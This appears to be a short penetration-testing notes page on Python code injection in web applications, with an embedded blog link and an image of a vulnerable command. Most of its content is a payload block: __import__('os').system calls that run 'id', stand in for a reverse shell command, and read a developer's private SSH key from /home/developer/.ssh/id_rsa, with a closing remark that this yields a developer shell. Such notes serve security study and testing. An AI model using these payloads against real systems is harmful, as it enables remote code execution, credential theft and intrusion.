# Python Code Injection

{% embed url="https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html" %}

Suppose that you have the following command.&#x20;

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FLEIsq5qG5YfUNr5BWBJO%2Fimage.png?alt=media&#x26;token=31323c8b-e17c-4822-9ec4-a5c3d953a921" alt=""><figcaption></figcaption></figure>

You may be able to insert the following payloads.&#x20;

```bash
# Code execution
__import__('os').system('id')
__import__('os').system('reverse shell command,etc...')
# or sensitve information leakage
__import__('os').system('cat /home/developer/.ssh/id_rsa')
```

Running this shell with the code execution, you could get a shell with a developer privilege.&#x20;
